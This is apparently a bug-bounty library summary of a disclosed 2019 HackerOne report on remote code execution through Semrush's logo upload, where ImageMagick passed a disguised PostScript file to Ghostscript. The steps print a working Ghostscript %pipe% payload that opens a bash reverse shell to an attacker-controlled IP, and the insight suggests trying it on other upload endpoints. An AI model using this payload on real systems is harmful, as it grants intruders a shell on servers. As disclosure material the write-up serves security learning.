# Remote Code Execution on www.semrush.com/my_reports on Logo upload

Semrush logo upload passed images to unpatched ImageMagick; a PostScript file disguised as test.jpg triggered Ghostscript to run a reverse shell, achieving RCE.

- Payout: hidden
- Severity: critical
- Program: Semrush
- Found by: fransrosen
- Disclosed: 2019-06-24
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/403417
- Library page: https://bugbountylibrary.com/r/h1%3A403417
- Tags: area:web domain:web impact:internal-access impact:rce kind:bounty platform:hackerone sev:critical tech:php technique:source-review vuln:file-upload vuln:rce

**Target:** ImageMagick image-processing on report constructor logo upload endpoint
**Root cause:** ImageMagick's policy.xml did not disable EPS/PS/PDF/XPS delegates, so an uploaded PostScript file was handed to Ghostscript, whose %pipe% OutputFile device executes shell commands.
**Steps:**
1. Craft a PostScript payload saved as `test.jpg` using `mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/<IP>/8080 0>&1') currentdevice putdeviceprops`
2. Upload it as the logo image at https://www.semrush.com/my_reports/constructor
3. Start a listener on port 8080 and catch the reverse shell
4. Confirm host ownership via `ls` of the app dir and `cat /etc/hosts` showing semrush.net entries
**How found:** Researcher knew ImageMagick delegates PostScript to Ghostscript and that policy.xml must disable EPS/PS/PDF/XPS (per Tavis Ormandy); tested a PostScript payload against the logo upload and got a shell, then verified it was a Semrush instance via directory listing and /etc/hosts.
**Exploitation:** Upload a PostScript file masquerading as a JPG to the logo upload; ImageMagick invokes Ghostscript which honors the %pipe% OutputFile device, spawning bash and connecting back to the attacker's listener for an interactive shell.
**Insight:** Image upload endpoints that shell out to ImageMagick are exploitable via Ghostscript delegates even when the file is renamed .jpg; check whether policy.xml blocks PS/EPS/PDF/XPS and try a %pipe% OutputFile PostScript payload.